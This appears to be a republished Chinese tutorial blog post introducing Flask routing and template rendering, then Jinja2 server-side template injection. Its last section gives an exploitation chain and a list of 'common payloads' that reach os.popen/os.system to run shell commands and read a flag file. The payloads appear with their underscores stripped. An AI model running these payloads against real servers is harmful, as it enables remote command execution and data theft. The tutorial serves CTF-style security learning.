flask模板注入

flask基础

ssti:SSTI就是服务器端模板注入(Server-Side Template Injection),也给出了一个注入的概念,通过与服务端模板的 输入输出 交互,在过滤不严格的情况下,构造恶意输入数据,从而达到读取文件或者getshell的目的

因为flask使用Jinja2渲染引擎,可以在前端通过{{}}的形式使用变量或者{% %}执行python语句,存在注入的可能(不懂的话先去看flask!
因为flask是用的python语言,所以python中的一些内置函数可以在flask中被使用,我们可以借此来越层读写文件,执行命令等。

在学习SSTI之前,先把flask的运作流程搞明白。这样有利用更快速的理解原理。

flask环境本地搭建(略详)

搭建flask我选择了 pycharm,学生的话可以免费下载专业版。下载安装这一步我就不说了。

环境:python 3.6+
基础:0-
简单测试

pycharm安装flask会自动导入了flask所需的模块,所以我们只需要命令安装所需要的包就可以了,建议用python3.6学习而不是2.X,毕竟django的都快要不支持2.X了,早换早超生。自动导入的也是python 3.6。

在这里插入图片描述

运行这边会出小错,因为此时我们还没有安装flask模块,

在这里插入图片描述

路由

from flask import Flask
app = Flask(__name__)

@app.route("/")
def index():
    return "hello world"

if __name__ == '__main__':
   app.run()

,,

route装饰器路由

@app.route(’/’)

使用route()装饰器告诉Flask什么样的URL能触发我们的函数.route()装饰器把一个函数绑定到对应的URL上,这句话相当于路由,一个路由跟随一个函数,如

@app.route('/')
def test()"
   return 123

访问127.0.0.1:5000/则会输出123,我们修改一下规则

@app.route('/test')
def test()"
   return 123

这个时候访问127.0.0.1:5000/test会输出123.
此外还可以设置动态网址,

@app.route("/hello/<username>")
def hello_user(username):
  return "user:%s"%username

根据url里的输入,动态辨别身份,此时便可以看到如下页面:

main入口

当.py文件被直接运行时,if name == ‘main‘之下的代码块将被运行;当.py文件以模块形式被导入时,if name == ‘main‘之下的代码块不被运行。如果你经常以cmd方式运行自己写的python小脚本,那么不需要这个东西,但是如果需要做一个稍微大一点的python开发,写 if name ==’main__’ 是一个良好的习惯,大一点的python脚本要分开几个文件来写,一个文件要使用另一个文件,也就是模块,此时这个if就会起到作用不会运行而是类似于文件包含来使用。

if __name__ == '__main__':
    app.debug = True
    app.run()

测试的时候,我们可以使用debug,方便调试,增加一句

app.debug = True

或者(效果是一样的)
app.run(debug=True)

这样我们修改代码的时候直接保存,网页刷新就可以了,如果不加debug,那么每次修改代码都要运行一次程序,并且把前一个程序关闭。否则会被前一个程序覆盖。

app.run(host=‘0.0.0.0’)

这会让操作系统监听所有公网 IP,此时便可以在公网上看到自己的web。

渲染方法

render_template 用来渲染一个指定的文件的
render_template_string 用来渲染一个字符串

render_template
你可以使用 render_template() 方法来渲染模板。你需要做的一切就是将模板名和你想作为关键字的参数传入模板的变量。这里有一个展示如何渲染模板的简例:

简单的模版渲染示例

from flask import render_template

@app.route('/hello/')
@app.route('/hello/<name>')
def hello(name=None):
        return render_template('hello.html', name=name)//我们hello.html模板未创建所以这段代码暂时供观赏,不妨往下继续看

我们从模板渲染开始实例,因为我们毕竟不是做开发的,flask以模板注入闻名- -!,所以我们先从flask模版渲染入手深入剖析。

首先要搞清楚,模板渲染体系,render_template函数渲染的是templates中的模板,所谓模板是我们自己写的html,里面的参数需要我们根据每个用户需求传入动态变量。

├── app.py
└── templates
└── index.html
我们写一个index.html文件写templates文件夹中。

<html>
  <head>
    <title>{{title}} - 小猪佩奇</title>
  </head>
 <body>
      <h1>Hello, {{user}}</h1>
  </body>
</html>

里面有两个参数需要我们渲染,user.name,以及title

我们在app.py文件里进行渲染。

from flask import render_template
from flask import Flask
from flask import request
app = Flask(__name__)


@app.route('/')
@app.route('/index')#我们访问/或者/index都会跳转
def index():
   user = {'name': '小猪佩奇'}#传入一个字典数组
   return render_template("index.html",title='Home',user=request.args.get("key"))
   # request.args.get:用get获取一个参数
   # render_template:渲染一个html的文件

if __name__ == '__main__':
   app.run()

这里运行一下

在这里插入图片描述


render_template_string

@app.route('/test/')
def test():
    code = request.args.get('id')
    return render_template_string('<h1>{{ code }}</h1>',code=code

在这里插入图片描述

注入

通过Python对象的继承,用魔术方法一步步找到可利用的方法去执行。即找到父类<type ‘object’>–>寻找子类–>找关于命令执行或者文件操作的模块

os.system 退出状态码
os.popen 以file形式返回输出内容

对象的魔术方法:

__class__  返回类型所属的对象
__mro__    返回一个包含对象所继承的基类元组,方法在解析时按照元组的顺序解析。
__base__   返回该对象所继承的基类
// __base__和__mro__都是用来寻找基类的

__subclasses__   每个新类都保留了子类的引用,这个方法返回一个类中仍然可用的的引用的列表
__init__  类的初始化方法
__globals__  对包含函数全局变量的字典的引用

步骤

#测试是否存在模板注入

{{1+1}}
[构造简单的payload,看服务器是否有回显]

#获取’'字符串的所属对象

‘’.class
<class ‘str’>

#获取str类的父类

‘’.class.mro
(<class ‘str’>, <class ‘object’>)

#获取object类的所有子类

‘’.class.mro[1].subclasses()
[<class ‘type’>, <class ‘weakref’>, <class ‘weakcallableproxy’>, <class ‘weakproxy’>, <class ‘int’>, <class ‘bytearray’>, <class ‘bytes’>, <class ‘list’>, <class ‘NoneType’>, <class ‘NotImplementedType’>, <class ‘traceback’>, <class ‘super’>…

#找到所需的类在列表第几位(从第0位开始)

‘’.class.mro[2].subclasses()[71].init.globals[‘os’].popen(‘命令行语句’).read()
[ popen(‘ls’).read(),意思是得到ls的结果并读取给变量,因此它会把当前目录所有文件都打印在我们的网页上]

#读取文件内容

‘’.class.mro[1].subclasses()[71].init.globals[‘os’].popen(‘cat fl4g’).read()

常用payload:

‘’.class.mro[2].subclasses()40.read()
‘’.class.mro[2].subclasses()[71].init.globals[‘os’].system(‘ls’)
‘’.class.mro[1].subclasses()[71].init.globals[‘os’].popen(‘cat fl4g’).read()

参考:
理解@app.route(

装饰器

SSTI(模板注入)基础总结

python沙箱逃逸

原文地址:https://blog.csdn.net/qq_45951598/article/details/110489314

版权声明:本文内容由互联网用户自发贡献,该文观点与技术仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 dio@foxmail.com 举报,一经查实,本站将立刻删除。

相关推荐


Jinja2:是Python的Web项目中被广泛应用的模板引擎,是由Python实现的模板语言,Jinja2 的作者也是 Flask 的作者。他的设计思想来源于Django的模板引擎,并扩展了其语法和一系列强大的功能,其是Flask内置的模板语言。
Fullcalendar日历使用,包括视图选择、事件插入、编辑事件、事件状态更改、事件添加和删除、事件拖动调整,自定义头部,加入el-popover显示图片、图片预览、添加附件链接等,支持手机显示。
监听QQ消息并不需要我们写代码,因为市面上已经有很多开源QQ机器人框架,在这里我们使用go-cqhttp官方文档:go-cqhttp如果您感兴趣的话,可以阅读一下官方文档,如果不想看,直接看我的文章即可。
【Flask框架】—— 视图和URL总结
python+web+flask轻量级框架的实战小项目。登录功能,后续功能可自行丰富。
有了这个就可以配置可信IP,关键是不需要企业认证,个人信息就可以做。
本专栏是对Flask官方文档中个人博客搭建进行的归纳总结,与官方文档结合事半功倍。 本人经验,学习一门语言或框架时,请首先阅读官方文档。学习完毕后,再看其他相关文章(如本系列文章),才是正确的学习道路。
本专栏是对Flask官方文档中个人博客搭建进行的归纳总结,与官方文档结合事半功倍。基础薄弱的同学请戳Flask官方文档教程 本人经验,学习一门语言或框架时,请首先阅读官方文档。学习完毕后,再看其他相关文章(如本系列文章),才是正确的学习道路。 如果python都完全不熟悉,一定不要着急学习框架,请首先学习python官方文档,一步一个脚印。要不然从入门到放弃是大概率事件。 Python 官方文档教程
快到年末了 相信大家都在忙着处理年末数据 刚好有一个是对超市的商品库存进行分析的学员案例 真的非常简单~
一个简易的问答系统就这样完成了,当然,这个项目还可以进一步完善,比如 将数据存入Elasticsearch,通过它先进行初步的检索,然后再通过这个系统,当然我们也可以用其他的架构实现。如果你对这系统还有其他的疑问,也可以再下面进行留言!!!
#模版继承和页面之间的调用@app.route(&quot;/bl&quot;)def bl(): return render_template(&quot;file_2.html&quot;)主ht
#form表达提交@app.route(&quot;/data&quot;,methods=[&#39;GET&#39;,&#39;POST&#39;]) #methods 让当前路由支持GET 和
#form表达提交@app.route(&quot;/data&quot;,methods=[&#39;GET&#39;,&#39;POST&#39;]) #methods 让当前路由支持GET 和
#session 使用app.secret_key = &quot;dsada12212132dsad1232113&quot;app.config[&#39;PERMANENT_SESSION_LI
#文件上传@app.route(&quot;/file&quot;,methods=[&#39;GET&#39;,&#39;POST&#39;])def file(): if request.meth
#跳转操作:redirect@app.route(&quot;/red&quot;)def red(): return redirect(&quot;/login&quot;)
#session 使用app.secret_key = &quot;dsada12212132dsad1232113&quot;app.config[&#39;PERMANENT_SESSION_LI
@app.route(&quot;/req&quot;,methods=[&#39;GET&#39;,&#39;POST&#39;])def req(): print(request.headers)
#模版继承和页面之间的调用@app.route(&quot;/bl&quot;)def bl(): return render_template(&quot;file_2.html&quot;)主ht
#文件操作:send_file,支持图片 视频 mp3 文本等@app.route(&quot;/img&quot;)def img(): return send_file(&quot;1.jpg&q